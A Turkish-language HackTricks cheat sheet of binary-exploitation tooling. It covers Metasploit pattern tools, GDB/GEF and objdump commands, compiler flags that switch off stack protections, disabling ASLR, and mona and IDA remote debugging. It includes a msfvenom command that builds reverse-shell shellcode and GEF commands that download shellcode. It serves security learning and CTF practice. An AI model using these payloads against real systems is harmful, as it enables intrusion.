hacktricks/binary-exploitation/basic-stack-binary-exploitation-methodology/tools

Sızma Araçları

{% hint style="success" %} AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• Abonelik planlarını kontrol edin!
• 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
• Hacking püf noktalarını paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

{% endhint %}

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Kabuk Kodları

{% code overflow="wrap" %}

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

{% endcode %}

GDB

Kurulum

apt-get install gdb

Parametreler

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Talimatlar

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

İlginç komutlar içeren bu GEF çatalını isteğe bağlı olarak kullanabilirsiniz.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

İpuçları

GDB aynı adresler

Hata ayıklama yaparken GDB, yürütüldüğünde kullanılan adreslerden biraz farklı adreslere sahip olacaktır. GDB'nin aynı adreslere sahip olmasını sağlamak için şunları yapabilirsiniz:

• unset env LINES
• unset env COLUMNS
• set env _=<yol> Binary'nin mutlak yolunu ekleyin
• Aynı mutlak yolu kullanarak binary'yi sömürün
• GDB'yi kullanırken ve binary'yi sömürürken PWD ve OLDPWD aynı olmalıdır

Çağrılan fonksiyonları bulmak için geri izleme

Statik olarak bağlanmış bir binary'e sahipseniz, tüm fonksiyonlar binary'ye ait olacaktır (harici kütüphanelere değil). Bu durumda, binary'nin örneğin kullanıcı girdisi istemek için izlediği akışı tanımlamak zor olacaktır.
Bu akışı kolayca tanımlayabilirsiniz gdb ile binary'yi çalıştırarak, giriş istendiğinde durdurun ve ardından CTRL+C ile durdurun ve bt (geri izleme) komutunu kullanarak çağrılan fonksiyonları görebilirsiniz:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB sunucusu

gdbserver --multi 0.0.0.0:23947 (IDA'da Linux makinesindeki yürütülebilir dosyanın mutlak yolunu ve Windows makinesindeki yürütülebilir dosyanın mutlak yolunu doldurmanız gerekmektedir)

Ghidra

Yığın ofsetini bulma

Ghidra, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir tampon taşmasının ofsetini bulmak için çok yararlıdır.
Örneğin, aşağıdaki örnekte, local_bc içinde bir tampon taşması, 0xbc ofsetine ihtiyaç duyduğunuzu gösterir. Dahası, local_10 bir canary çerezi ise, local_bc'den üzerine yazmak için 0xac ofseti olduğunu gösterir.
RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

Programda yürütülen her opcode'u alın.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Korumalar olmadan derleme
-o --> Çıktı
-g --> Kodu kaydet (GDB görebilecek)
echo 0 > /proc/sys/kernel/randomize_va_space --> Linux'ta ASLR'yi devre dışı bırakmak için

Shellcode derlemek için:
nasm -f elf assembly.asm --> ".o" döndürür
ld assembly.o -o shellcodeout --> Yürütülebilir

Objdump

-d --> Yürütülebilir bölümleri (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadgets bulmak, fonksiyon adresini bulmak...)
-Mintel --> Intel sözdizimi
-t --> Semboller tablosu
-D --> Tümünü (statik değişkenin adresi)
-s -j .dtors --> dtors bölümü
-s -j .got --> got bölümü
-D -s -j .plt --> plt bölümü çözümlenmiş
-TR --> Yer değiştirmeler
ojdump -t --dynamic-relo ./exec | grep puts --> GOT'ta değiştirilecek "puts" adresi
objdump -D ./exec | grep "VAR_NAME" --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır).

Core dumps

1. Programımı başlatmadan önce ulimit -c unlimited çalıştırın
2. sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t çalıştırın
3. sudo gdb --core=\<path/core> --quiet çalıştırın

Daha Fazla

ldd executable | grep libc.so.6 --> Adres (ASLR varsa, bu her seferinde değişir)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Adresin çok değişip değişmediğini görmek için döngü
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system"ın ofseti
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh"nin ofseti

strace executable --> Yürütülebilir tarafından çağrılan fonksiyonlar
rabin2 -i ejecutable --> Tüm fonksiyonların adresi

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Uzaktan linux'ta hata ayıklama

IDA klasörü içinde, bir linux içinde bir ikili dosyayı hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunun için linux_server veya linux_server64 ikili dosyasını linux sunucuya taşıyın ve ikili dosyayı içeren klasörde çalıştırın:

./linux_server64 -Ppass

Ardından, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (linux uzak) --> İşlem seçenekleri...:

{% hint style="success" %} AWS Hacking'i öğrenin ve uygulayın:HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• Abonelik planlarını kontrol edin!
• 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
• Hacking püf noktalarını paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

{% endhint %}